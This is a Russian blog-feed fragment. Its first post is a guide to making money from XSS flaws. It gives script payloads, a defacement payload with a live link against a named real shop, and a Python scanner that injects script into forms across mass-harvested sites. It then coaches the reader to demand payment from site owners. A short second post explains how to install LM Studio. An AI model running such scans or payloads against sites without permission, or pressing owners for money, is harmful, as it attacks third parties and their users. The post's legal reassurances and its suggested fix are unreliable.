  &lt;p id=&quot;Xs7N&quot;&gt;Для проверки сайта на наличие XSS уязвимости достаточно вставить в поисковую строку следующий JS код.&lt;/p&gt;
  &lt;p id=&quot;kLvC&quot;&gt;⁡&lt;code&gt;⁡&amp;lt;script&amp;gt;alert(&amp;quot;XSS&amp;quot;)&amp;lt;/script&amp;gt;&lt;/code&gt;⁡&lt;/p&gt;
  &lt;p id=&quot;SfK7&quot;&gt;Для примера возьмём сайт &lt;a href=&quot;https://stolplit.ru/&quot; target=&quot;_blank&quot;&gt;stolplit.ru&lt;/a&gt;:&lt;/p&gt;
  &lt;figure id=&quot;B4bl&quot; class=&quot;m_column&quot;&gt;
    &lt;img src=&quot;https://img1.teletype.in/files/08/68/0868089c-9b9f-402f-a519-3aa7fad6538a.png&quot; width=&quot;1365&quot; /&gt;
  &lt;/figure&gt;
  &lt;figure id=&quot;uwJN&quot; class=&quot;m_column&quot;&gt;
    &lt;img src=&quot;https://img2.teletype.in/files/dc/42/dc42c492-9d67-4d4e-ab04-8e5332da6999.png&quot; width=&quot;1365&quot; /&gt;
  &lt;/figure&gt;
  &lt;p id=&quot;6UiV&quot;&gt;Т.е если на сайте появляется уведомление с надписью «XSS», то на нём есть уязвимость.&lt;/p&gt;
  &lt;p id=&quot;3PTf&quot;&gt;Самый простой способ эксплуатации XSS уязвимости - подмена кода сайта. Для неё достаточно просто вставить следующий JS код в поисковую строку&lt;/p&gt;
  &lt;p id=&quot;CcH5&quot;&gt;⁡&lt;code&gt;⁡&amp;lt;script&amp;gt;document.body.innerHTML = &amp;quot;&amp;lt;H1 style=&amp;#x27;color: black; text-align: center;&amp;#x27;&amp;gt;C 01.05.2024 сайт перестаёт работать&amp;lt;/H1&amp;gt;&amp;quot;;&amp;lt;/script&amp;gt;&lt;/code&gt;⁡&lt;/p&gt;
  &lt;figure id=&quot;51ki&quot; class=&quot;m_column&quot;&gt;
    &lt;img src=&quot;https://img4.teletype.in/files/71/1a/711a7b4a-5080-4702-bb18-5700f69b5038.png&quot; width=&quot;1365&quot; /&gt;
  &lt;/figure&gt;
  &lt;p id=&quot;o8BC&quot;&gt;Опасность тут в том, что любой кто перейдёт по этой ссылке на сайт, увидит именно наш html код, а не html код сайта. Можете перейти по ссылке ниже и убедиться в этом:&lt;/p&gt;
  &lt;ul id=&quot;Kzim&quot;&gt;
    &lt;li id=&quot;nAVh&quot;&gt;&lt;a href=&quot;https://www.stolplit.ru/internet-magazin/search/?is_submit=Y&amp;product_title=%E2%81%A1%E2%81%A1%3Cscript%3Edocument.body.innerHTML+%253D+%22%3CH1+style%253D&amp;#x27;color%253A+black%253B+text-align%253A+center%253B&amp;#x27;%3EC+01.05.2024+%D1%81%D0%B0%D0%B9%D1%82+%D0%BF%D0%B5%D1%80%D0%B5%D1%81%D1%82%D0%B0%D1%91%D1%82+%D1%80%D0%B0%D0%B1%D0%BE%D1%82%D0%B0%D1%82%D1%8C%3C%252FH1%3E%22%253B%3C%252Fscript%3E%E2%81%A1&quot; target=&quot;_blank&quot;&gt;https://www.stolplit.ru/internet-magazin/search/?is_submit=Y&amp;amp;product_title=⁡⁡&amp;lt;script&amp;gt;document.body.innerHTML+=+&amp;quot;&amp;lt;H1+style=&amp;#x27;color:+black;+text-align:+center;&amp;#x27;&amp;gt;C+01.05.2024+сайт+перестаёт+работать&amp;lt;/H1&amp;gt;&amp;quot;;&amp;lt;/script&amp;gt;⁡&lt;/a&gt;&lt;/li&gt;
  &lt;/ul&gt;
  &lt;p id=&quot;7VCx&quot;&gt;&lt;strong&gt;Поиск сайтов с уязвимостью&lt;/strong&gt;&lt;/p&gt;
  &lt;p id=&quot;SjPG&quot;&gt;Сайты с XSS уязвимостью можно искать и вручную, но, тогда большая часть нашего времени будет уходить впустую. Я написал python скрипт для массовой проверки сайтов на наличие XSS уязвимости.&lt;/p&gt;
  &lt;p id=&quot;9LL3&quot;&gt;​1. Загружаем установочный файл Python3 с официального сайта.&lt;/p&gt;
  &lt;blockquote id=&quot;1pqc&quot;&gt;&lt;a href=&quot;https://www.python.org/downloads/release/python-3115/&quot; target=&quot;_blank&quot;&gt;https://www.python.org/downloads/release/python-3115/&lt;/a&gt;&lt;/blockquote&gt;
  &lt;p id=&quot;Nhj2&quot;&gt;2. Запускаем установочный файл и следуем иснтрукциям по установке.&lt;/p&gt;
  &lt;blockquote id=&quot;I5Kc&quot;&gt;при установке необходимо выбрать опцию &amp;quot;Add Python 3.x to PATH&amp;quot;.&lt;/blockquote&gt;
  &lt;p id=&quot;UgOC&quot;&gt;3. После установки Python3, открываем командную строку (cmd), и вводим следующие команды&lt;/p&gt;
  &lt;p id=&quot;jNgL&quot;&gt;⁡&lt;code&gt;⁡pip install bs4&lt;/code&gt;⁡&lt;/p&gt;
  &lt;p id=&quot;kJMD&quot;&gt;⁡&lt;code&gt;⁡⁡⁡pip install requests&lt;/code&gt;⁡&lt;/p&gt;
  &lt;p id=&quot;dlO4&quot;&gt;⁡&lt;code&gt;⁡pip install colorama&lt;/code&gt;⁡&lt;/p&gt;
  &lt;p id=&quot;eD7w&quot;&gt;4. Создаем папку, например WORK. В этой папке создаём 2 файла - main.py и site.txt&lt;/p&gt;
  &lt;p id=&quot;LzMG&quot;&gt;5. В файл main.py необходимо вставить код предоставленный ниже​&lt;/p&gt;
  &lt;p id=&quot;k5mX&quot;&gt;Код Python:&lt;/p&gt;
  &lt;pre id=&quot;k3Fj&quot;&gt;from colorama import init, Fore, Back, Style
from bs4 import BeautifulSoup as bs
import requests

from urllib.parse import urljoin
from pprint import pprint
import time


headers = {
    &amp;quot;User-Agent&amp;quot;: &amp;quot;Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.106 Safari/537.36&amp;quot;
}

init(autoreset=True)


def stop(stop_time):
    now_time = time.time()
    if stop_time - now_time &amp;lt;= 0:
        return True

def save(url):
    file = open(&amp;quot;goods.txt&amp;quot;, &amp;quot;a&amp;quot;)
    file.write(f&amp;quot;{url}\n&amp;quot;)
    file.close()

def scan_xss(url, stop_time, timeout):
    stop_time = time.time() + stop_time

    html = requests.get(url, headers=headers, timeout=timeout)
    soup = bs(html.content, &amp;quot;html.parser&amp;quot;)
    forms = soup.find_all(&amp;quot;form&amp;quot;)
    js_script = &amp;quot;&amp;lt;Script&amp;gt;alert(&amp;#x27;XSS&amp;#x27;)&amp;lt;/scripT&amp;gt;&amp;quot;
    is_vulnerable = False
 
    for form in forms:
        if stop(stop_time):
            break
        details = {}

        action = form.attrs.get(&amp;quot;action&amp;quot;)
        method = form.attrs.get(&amp;quot;method&amp;quot;, &amp;quot;get&amp;quot;)
 
        if action != None and not(action.startswith(&amp;quot;javascript&amp;quot;)):
            action = action.lower()
            method = method.lower()
        else:
            break

        inputs = []
        for input_tag in form.find_all(&amp;quot;input&amp;quot;):
            input_type = input_tag.attrs.get(&amp;quot;type&amp;quot;, &amp;quot;text&amp;quot;)
            input_name = input_tag.attrs.get(&amp;quot;name&amp;quot;)
            inputs.append({&amp;quot;type&amp;quot;: input_type, &amp;quot;name&amp;quot;: input_name})
        details[&amp;quot;action&amp;quot;] = action
        details[&amp;quot;method&amp;quot;] = method
        details[&amp;quot;inputs&amp;quot;] = inputs
        form_details =  details
        target_url = urljoin(url, form_details[&amp;quot;action&amp;quot;])
        inputs = form_details[&amp;quot;inputs&amp;quot;]
        data = {}

        for input in inputs:
            if input[&amp;quot;type&amp;quot;] == &amp;quot;text&amp;quot; or input[&amp;quot;type&amp;quot;] == &amp;quot;search&amp;quot;:
                input[&amp;quot;value&amp;quot;] = js_script
            input_name = input.get(&amp;quot;name&amp;quot;)
            input_value = input.get(&amp;quot;value&amp;quot;)
            if input_name and input_value:
                data[input_name] = input_value

        if form_details[&amp;quot;method&amp;quot;] == &amp;quot;post&amp;quot;:
            content = requests.post(target_url, data=data, headers=headers, timeout=timeout).content.decode(&amp;#x27;latin-1&amp;#x27;)
        else:
            content = requests.get(target_url, params=data, headers=headers, timeout=timeout).content.decode(&amp;#x27;latin-1&amp;#x27;)

        if js_script in content:
            save(url)
            print(f&amp;quot;{Fore.RED}[+] XSS Detected on {url}{Style.RESET_ALL}\n[*] Form details:&amp;quot;)
            pprint(form_details)


if __name__ == &amp;quot;__main__&amp;quot;:
    urls = open(&amp;#x27;site.txt&amp;#x27;, &amp;#x27;r&amp;#x27;, encoding=&amp;quot;UTF-8&amp;quot;)
    for element in urls:
        url = element.replace(&amp;quot;\n&amp;quot;, &amp;quot;&amp;quot;)
        print(f&amp;quot;\033[37m{url}&amp;quot;)
        # Максимальное время проверки одного сайта в секундах (не менее 180)
        stop_time = 180
        # Максимальное время ожидания ответа от сайта в секундах (не менее 15)
        timeout = 20
        try:
            scan_xss(url, 180, 20)
        except:
            pass # ваще похуй

    urls.close()
&lt;/pre&gt;
  &lt;p id=&quot;re6P&quot;&gt;Для того, что бы скрипт начал искать уязвимость на сайтах необходимо вставить список сайтов в файл site.txt, открыть в CMD папку WORK и ввести следующую команду:&lt;/p&gt;
  &lt;p id=&quot;jW3G&quot;&gt;&lt;code&gt;⁡python main.py&lt;/code&gt;⁡&lt;/p&gt;
  &lt;p id=&quot;H04N&quot;&gt;После запуска скрипт начнёт проверять сайты из файла на наличие XSS уязвимости, если он обнаружит сайт с уязвимостью, то выведет красным цветом его url и белым дополнительную информацию (где конкретно он нашёл уязвимость), а так же запишет url сайта в файл goods.txt.&lt;/p&gt;
  &lt;figure id=&quot;cUq7&quot; class=&quot;m_column&quot;&gt;
    &lt;img src=&quot;https://img4.teletype.in/files/fa/1c/fa1c26ea-d209-49c9-815f-350bd54c3750.png&quot; width=&quot;819&quot; /&gt;
  &lt;/figure&gt;
  &lt;p id=&quot;3mzX&quot;&gt;&lt;strong&gt;Важное уточнение:&lt;/strong&gt; возможны ложные срабатывания скрипта (может вывести сайт без уязвимости), поэтому всегда перепроверяйте сайт вручную.&lt;/p&gt;
  &lt;h4 id=&quot;Откуда-брать-сайты?&quot;&gt;Откуда брать сайты?&lt;/h4&gt;
  &lt;p id=&quot;P4NH&quot;&gt;Самое сложное в этом способе заработка - достать список сайтов. Я расскажу вам о способе которым сам пользовался:&lt;/p&gt;
  &lt;p id=&quot;VkHw&quot;&gt;Заходим на любой сайт для выгрузки топ 100 сайтов из яндекса или гугла, например &lt;a href=&quot;https://pr-cy.ru/tools/check-keywords/&quot; target=&quot;_blank&quot;&gt;https://pr-cy.ru/tools/check-keywords/&lt;/a&gt;&lt;/p&gt;
  &lt;p id=&quot;NjiR&quot;&gt;Вводим произвольный поисковой запрос, например «Купить мебель с доставкой спб», указываем глубину поиска - топ 100, выбираем любой регион и жмём на кнопку «Проверить»&lt;/p&gt;
  &lt;figure id=&quot;OJkk&quot; class=&quot;m_column&quot;&gt;
    &lt;img src=&quot;https://img3.teletype.in/files/a6/92/a692d531-eff2-4b06-9ff7-7c4a2972385a.png&quot; width=&quot;1365&quot; /&gt;
  &lt;/figure&gt;
  &lt;figure id=&quot;ibzc&quot; class=&quot;m_column&quot;&gt;
    &lt;img src=&quot;https://img3.teletype.in/files/22/7f/227f5df9-9b9c-4c86-8664-dba3a61b3544.png&quot; width=&quot;1365&quot; /&gt;
  &lt;/figure&gt;
  &lt;p id=&quot;93kP&quot;&gt;После недолгого ожидания мы получаем 100 ссылок, их нужно скопировать и вставить в файл site.txt.&lt;/p&gt;
  &lt;figure id=&quot;clmi&quot; class=&quot;m_column&quot;&gt;
    &lt;img src=&quot;https://img1.teletype.in/files/42/50/4250cf3b-88fa-44c2-a1eb-588aa024e5fe.png&quot; width=&quot;1365&quot; /&gt;
  &lt;/figure&gt;
  &lt;p id=&quot;Htk2&quot;&gt;&lt;strong&gt;Cвязываемся с поддержкой&lt;/strong&gt;&lt;/p&gt;
  &lt;p id=&quot;LHUH&quot;&gt;После того как скриптом был найден сайт с уязвимостью, первым делом вы перепроверяете наличие уязвимости на сайте. Если она и в правду есть, то вы ищите почту поддержки сайта и пишите на неё о том, что нашли на сайте опасную уязвимость.&lt;/p&gt;
  &lt;p id=&quot;78rr&quot;&gt;Всё общение с поддержкой сайта сводится к отправке текста по шаблону, ниже привёл пример успешного диалога с поддержкой сайта.&lt;/p&gt;
  &lt;figure id=&quot;irNd&quot; class=&quot;m_column&quot;&gt;
    &lt;img src=&quot;https://img4.teletype.in/files/fe/a2/fea29f31-9ea1-4367-b933-b7c692438141.png&quot; width=&quot;857&quot; /&gt;
  &lt;/figure&gt;
  &lt;figure id=&quot;SZOp&quot; class=&quot;m_column&quot;&gt;
    &lt;img src=&quot;https://img1.teletype.in/files/8f/de/8fde8a56-dcd8-40a1-bb8c-ddc8f1d47622.png&quot; width=&quot;857&quot; /&gt;
  &lt;/figure&gt;
  &lt;figure id=&quot;xPhX&quot; class=&quot;m_column&quot;&gt;
    &lt;img src=&quot;https://img2.teletype.in/files/96/db/96dbdfcc-92bb-493c-ae49-fb9b7d716b6b.png&quot; width=&quot;857&quot; /&gt;
  &lt;/figure&gt;
  &lt;figure id=&quot;Hwuy&quot; class=&quot;m_column&quot;&gt;
    &lt;img src=&quot;https://img4.teletype.in/files/3d/d9/3dd9e9e4-2273-43dd-8ecf-f1b3b7f804b4.png&quot; width=&quot;857&quot; /&gt;
  &lt;/figure&gt;
  &lt;figure id=&quot;0a79&quot; class=&quot;m_column&quot;&gt;
    &lt;img src=&quot;https://img1.teletype.in/files/c9/ec/c9ec9532-5f40-439f-bc8b-cf14e20fcd19.png&quot; width=&quot;857&quot; /&gt;
  &lt;/figure&gt;
  &lt;figure id=&quot;hlcm&quot; class=&quot;m_column&quot;&gt;
    &lt;img src=&quot;https://img3.teletype.in/files/24/b7/24b77450-84e8-40b7-82bd-36468d329e16.png&quot; width=&quot;857&quot; /&gt;
  &lt;/figure&gt;
  &lt;figure id=&quot;Dn4T&quot; class=&quot;m_column&quot;&gt;
    &lt;img src=&quot;https://img1.teletype.in/files/c0/2d/c02d56f9-4ccb-4573-b301-628410d956c1.png&quot; width=&quot;857&quot; /&gt;
  &lt;/figure&gt;
  &lt;figure id=&quot;zHhS&quot; class=&quot;m_column&quot;&gt;
    &lt;img src=&quot;https://img1.teletype.in/files/ca/45/ca457c2d-bcb6-4069-b22d-ef6757f676af.png&quot; width=&quot;857&quot; /&gt;
  &lt;/figure&gt;
  &lt;p id=&quot;ZPh7&quot;&gt;&lt;strong&gt;FAQ&lt;/strong&gt;&lt;/p&gt;
  &lt;p id=&quot;cpMf&quot;&gt;&lt;strong&gt;Нарушает ли эта тема закон? (272 статью УК. РФ)&lt;/strong&gt;&lt;/p&gt;
  &lt;blockquote id=&quot;kKi0&quot;&gt;Ответ от юриста: «Как гласит Статья 272 УК РФ, Неправомерный доступ к охраняемой законом компьютерной информации, если это деяние повлекло уничтожение, блокирование, модификацию либо копирование компьютерной информации. В нашем случае доступ к какой-либо информации не осуществляется, мы показываем лишь способ. XSS уязвимость позволяет выполнять код на стороне клиента, то есть публичной подмены кода сайта не осуществляется. XSS это не взлом и мы не сразу получаем доступ к информации как например sql, XSS это способ. Кроме того, исходя из субъективной стороны данного преступления, как таковой корысти в данном случае мы не имеем, это этичный хакинг (Хотя его даже хакингом назвать нельзя). Субъективная сторона предусматривает цель, мотив. Цели взлома сайта, его пользователей у нас нет. Мотив понятие большое, и то что мы лишь после того как отправили сообщение об обнаруженной уязвимости просим деньги, не говорит о том что мы хотели этого с самого начала, мы хотим получить благодарность за свою работу. Соответственно, заявить на нас что мы с корыстной взломали их сайт и требуем выкуп никто не сможет.»&lt;/blockquote&gt;
  &lt;p id=&quot;s5xE&quot;&gt;&lt;strong&gt; Как устранять уязвимость?&lt;/strong&gt;&lt;/p&gt;
  &lt;blockquote id=&quot;fmY0&quot;&gt;Для устранения уязвимости достаточно фильтровать текст вводимый пользователем, например убирать из его запроса следующие символы: &amp;lt;, &amp;gt;, /, (, ). Если вы не имеете значительного опыта в веб разработке, то не беритесь за устранение уязвимости, есть риск только ухудшить ситуацию.&lt;/blockquote&gt;
  &lt;p id=&quot;59Nl&quot;&gt;&lt;strong&gt; Что писать в тех. поддержку?&lt;/strong&gt;&lt;/p&gt;
  &lt;blockquote id=&quot;NTfc&quot;&gt;Здравствуйте, я нашёл достаточно опасную уязвимость на вашем сайте (домен сайта), продемонстрировать?&lt;/blockquote&gt;
  &lt;blockquote id=&quot;y9wh&quot;&gt;У вас на сайте XSS уязвимость, т.е сайт выполняет любой мой JS код на стороне пользователя. Это может привести к подмене кода сайта, краже данных пользователей, их аккаунтов или созданию фейковых уведомлений. Для устранения достаточно просто фильтровать данные вводимые пользователем, например убирать &amp;lt;, &amp;gt;, /, (, ) из запроса.&lt;br /&gt;Вот один из самых простых примеров эксплуатации данной уязвимости - подмена HTML кода сайта (и стилей CSS)&lt;br /&gt;формируем JS код&lt;br /&gt;&amp;lt;script&amp;gt;document.body.innerHTML = &amp;quot;&amp;lt;H1 style=&amp;#x27;color: black; text-align: center;&amp;#x27;&amp;gt;&amp;lt;br&amp;gt;C 01.05.2024 сайт перестаёт работать&amp;lt;/H1&amp;gt;&amp;quot;;&amp;lt;/script&amp;gt;&lt;br /&gt;вставляем его в поисковую строку на вашем сайте, выполняем запрос и получаем результат&lt;br /&gt;(Фото с выполнением JS кода на сайте)&lt;br /&gt;Опасность тут в том, что любой кто перейдёт по ссылке увидит именно мой html код, а не html код сайта (можете перейти и убедиться)&lt;br /&gt;(Ссылка на их сайт с выполняющимся JS кодом)&lt;/blockquote&gt;
  &lt;p id=&quot;jnRC&quot;&gt;Дальше отвечайте в зависимости от развития диалога.&lt;/p&gt;
  &lt;p id=&quot;Z2fj&quot;&gt;&lt;strong&gt; Спрашивают сколько перевести, какую сумму называть?&lt;/strong&gt;&lt;/p&gt;
  &lt;p id=&quot;ltwd&quot;&gt;Я всегда называл 3-5к и получал эту сумму, наглеть и просить больше тут явно не стоит.&lt;/p&gt;

</content></entry><entry><id>slivmens:BskouN_qqXu</id><link rel="alternate" type="text/html" href="https://teletype.in/@slivmens/BskouN_qqXu?utm_source=teletype&amp;utm_medium=feed_atom&amp;utm_campaign=slivmens"></link><title>Создаем собственного локального ИИ чат-бота с помощью lmstudio.ai</title><published>2024-01-31T15:48:41.626Z</published><updated>2024-01-31T15:48:41.626Z</updated><media:thumbnail xmlns:media="http://search.yahoo.com/mrss/" url="https://img2.teletype.in/files/5d/64/5d64528b-bc9e-4343-9bdf-97375f749e56.png"></media:thumbnail><summary type="html">&lt;img src=&quot;https://img2.teletype.in/files/d0/df/d0df0929-fe2b-4413-927b-9d5cc48c3f70.png&quot;&gt;Для начала необходимо понять, поддерживает ли наш процессор AVX2. Для этого открываем панель управления, наконец-то узнаем, какой у нас стоит проц и гуглим, поддерживает ли он AVX2.</summary><content type="html">
  &lt;h4 id=&quot;Минимальные-системные-требования&quot;&gt;Минимальные системные требования&lt;/h4&gt;
  &lt;ul id=&quot;0L3C&quot;&gt;
    &lt;li id=&quot;dJyR&quot;&gt;Процессор поддерживающий AVX или AVX2&lt;/li&gt;
    &lt;li id=&quot;BPzp&quot;&gt;От 8 ГБ оперативной памяти (рекомендуется 16 ГБ)&lt;/li&gt;
    &lt;li id=&quot;Vmkm&quot;&gt;Пару десятков ГБ памяти на жестком диске&lt;/li&gt;
    &lt;li id=&quot;K7RP&quot;&gt;Не обязательно, но так же рекомендуется иметь хоть какую-то видеокарту&lt;/li&gt;
  &lt;/ul&gt;
  &lt;h4 id=&quot;Инструкция&quot;&gt;Инструкция&lt;/h4&gt;
  &lt;p id=&quot;5WCw&quot;&gt;Для начала необходимо понять, поддерживает ли наш процессор AVX2. Для этого открываем панель управления, наконец-то узнаем, какой у нас стоит проц и гуглим, поддерживает ли он AVX2.&lt;/p&gt;
  &lt;p id=&quot;18SU&quot;&gt;&lt;strong&gt;Для процессоров которые поддерживают AVX2&lt;/strong&gt;&lt;/p&gt;
  &lt;p id=&quot;H9Wf&quot;&gt;Переходим на сайт &lt;a href=&quot;http://lmstudio.ai/&quot; target=&quot;_blank&quot;&gt;lmstudio.ai&lt;/a&gt;&lt;/p&gt;
  &lt;figure id=&quot;lFWb&quot; class=&quot;m_column&quot;&gt;
    &lt;img src=&quot;https://img2.teletype.in/files/d0/df/d0df0929-fe2b-4413-927b-9d5cc48c3f70.png&quot; width=&quot;1901&quot; /&gt;
  &lt;/figure&gt;
  &lt;p id=&quot;VKlX&quot;&gt;Ищем свою ОС и скачиваем установщик для нее. Далее запускаем инсталлер, после чего программа сама установится на Диск C.&lt;/p&gt;
  &lt;p id=&quot;svnx&quot;&gt;&lt;strong&gt;Для процессоров которые поддерживают только AVX&lt;/strong&gt;&lt;/p&gt;
  &lt;p id=&quot;wLzT&quot;&gt;Переходим на сайт &lt;a href=&quot;http://lmstudio.ai/&quot; target=&quot;_blank&quot;&gt;lmstudio.ai&lt;/a&gt; и нажимаем на текст LM studio Beta Releases.&lt;/p&gt;
  &lt;figure id=&quot;znLY&quot; class=&quot;m_column&quot;&gt;
    &lt;img src=&quot;https://img4.teletype.in/files/74/f6/74f63e53-dfc2-4326-997a-b8e5b300749b.png&quot; width=&quot;1875&quot; /&gt;
  &lt;/figure&gt;
  &lt;p id=&quot;OBdp&quot;&gt;Видим такую картину, как на скриншоте ниже и листаем в самый низ.&lt;/p&gt;
  &lt;figure id=&quot;pCDp&quot; class=&quot;m_column&quot;&gt;
    &lt;img src=&quot;https://img2.teletype.in/files/56/76/5676dbd5-9477-40aa-8966-d87d7ac4e918.png&quot; width=&quot;1920&quot; /&gt;
  &lt;/figure&gt;
  &lt;p id=&quot;avPe&quot;&gt;Нажимаем на LM-Studio-0.2.10-Setup-avx-beta-4.exe и скачиваем установщик.&lt;/p&gt;
  &lt;figure id=&quot;eBHM&quot; class=&quot;m_column&quot;&gt;
    &lt;img src=&quot;https://img4.teletype.in/files/f1/3b/f13b5f27-dbf9-4801-bc42-731c55fe902c.png&quot; width=&quot;522&quot; /&gt;
  &lt;/figure&gt;
  &lt;p id=&quot;dkxd&quot;&gt;Запускаем инсталлер, после чего программа сама установится на Диск C.&lt;/p&gt;
  &lt;h4 id=&quot;Скачиваем-модель-чат-бота&quot;&gt;Скачиваем модель чат-бота&lt;/h4&gt;
  &lt;p id=&quot;c6lg&quot;&gt;Запускаем программу. Смотрим налево и ищем кнопочку с лупой и нажимаем на нее.&lt;/p&gt;
  &lt;figure id=&quot;W2ae&quot; class=&quot;m_original&quot;&gt;
    &lt;img src=&quot;https://img4.teletype.in/files/36/c1/36c1073e-2031-4672-a5e5-5aa2ae1f19fb.png&quot; width=&quot;59&quot; /&gt;
  &lt;/figure&gt;
  &lt;p id=&quot;EJhF&quot;&gt;Ищем любую модель себе по душе. Лучше всего&lt;strong&gt; lmstudio поддерживает gguf формат&lt;/strong&gt;, так что в приоритете ищем модели именно с этим форматом.&lt;/p&gt;
  &lt;p id=&quot;pyPi&quot;&gt;Нажимаем на модельку, после чего справа появятся все версии модели. Лично я использую llama2_7b_chat_uncensored.Q4-K-M.gguf.&lt;/p&gt;
  &lt;figure id=&quot;P3OR&quot; class=&quot;m_column&quot;&gt;
    &lt;img src=&quot;https://img4.teletype.in/files/bf/dc/bfdce5a2-0d2a-45fe-9402-dc670b8e813e.png&quot; width=&quot;1920&quot; /&gt;
  &lt;/figure&gt;
  &lt;h4 id=&quot;Используем-нашего-чат-бота&quot;&gt;Используем нашего чат-бота&lt;/h4&gt;
  &lt;p id=&quot;3ltf&quot;&gt;Опять смотрим на сайдбар и кликаем на кнопку с эмодзи сообщения.&lt;/p&gt;
  &lt;figure id=&quot;uc6b&quot; class=&quot;m_original&quot;&gt;
    &lt;img src=&quot;https://img4.teletype.in/files/35/c3/35c320cf-23dd-4401-b2b6-d098b67fe573.png&quot; width=&quot;57&quot; /&gt;
  &lt;/figure&gt;
  &lt;p id=&quot;Qjpo&quot;&gt;Сверху жмем на широкую кнопочку и выбираем модель, которую мы скачали ранее.&lt;/p&gt;
  &lt;figure id=&quot;O1mc&quot; class=&quot;m_column&quot;&gt;
    &lt;img src=&quot;https://img2.teletype.in/files/5d/3d/5d3da4c0-bad1-4b33-913a-20240aebdabc.png&quot; width=&quot;1920&quot; /&gt;
  &lt;/figure&gt;
  &lt;p id=&quot;M7Pw&quot;&gt;Ждем пока наша модель загрузится и... начинаем общаться.&lt;/p&gt;
  &lt;figure id=&quot;qeCA&quot; class=&quot;m_column&quot;&gt;
    &lt;img src=&quot;https://img2.teletype.in/files/d7/bc/d7bc74b1-0446-41b3-8b8d-044494ddf6ef.png&quot; width=&quot;1253&quot; /&gt;
  &lt;/figure&gt;
  &lt;h4 id=&quot;Как-задать-prompt-и-использовать-видеокарту&quot;&gt;Как задать prompt и использовать видеокарту&lt;/h4&gt;
  &lt;p id=&quot;jmzx&quot;&gt;На правом сайдбаре мы видим такую картину:&lt;/p&gt;
  &lt;figure id=&quot;B9zy&quot; class=&quot;m_column&quot;&gt;
    &lt;img src=&quot;https://img3.teletype.in/files/a1/e5/a1e5eb7f-0852-48f7-8d6d-77cd3f3a20d5.png&quot; width=&quot;317&quot; /&gt;
  &lt;/figure&gt;
  &lt;p id=&quot;Y7YW&quot;&gt;В System prompt / Pre-prompt пишем наш промпт.&lt;/p&gt;
  &lt;figure id=&quot;XN0M&quot; class=&quot;m_original&quot;&gt;
    &lt;img src=&quot;https://img3.teletype.in/files/a3/27/a327a31f-3fe1-4256-adc6-480ac53a2ae5.png&quot; width=&quot;311&quot; /&gt;
  &lt;/figure&gt;
  &lt;p id=&quot;prJU&quot;&gt;Включаем GPU Acceleration и по-немногу добавляем слои, это ускорит работу чат-бота.&lt;/p&gt;
  &lt;figure id=&quot;gGKA&quot; class=&quot;m_original&quot;&gt;
    &lt;img src=&quot;https://img3.teletype.in/files/a2/2c/a22cba7f-3578-430d-b844-9cfb629f27c5.png&quot; width=&quot;317&quot; /&gt;
  &lt;/figure&gt;
  &lt;p id=&quot;QNjY&quot;&gt;После всего проделанного перезагружаем бота (желтая кнопка снизу у набора сообщения) и кайфуем.&lt;/p&gt;
  &lt;figure id=&quot;xVNF&quot; class=&quot;m_column&quot;&gt;
    &lt;img src=&quot;https://img2.teletype.in/files/d8/13/d813eb71-0453-45ec-bfca-0391f7f754ab.png&quot; width=&quot;1280&quot; /&gt;
  &lt;/figure&gt;

</content></entry></feed>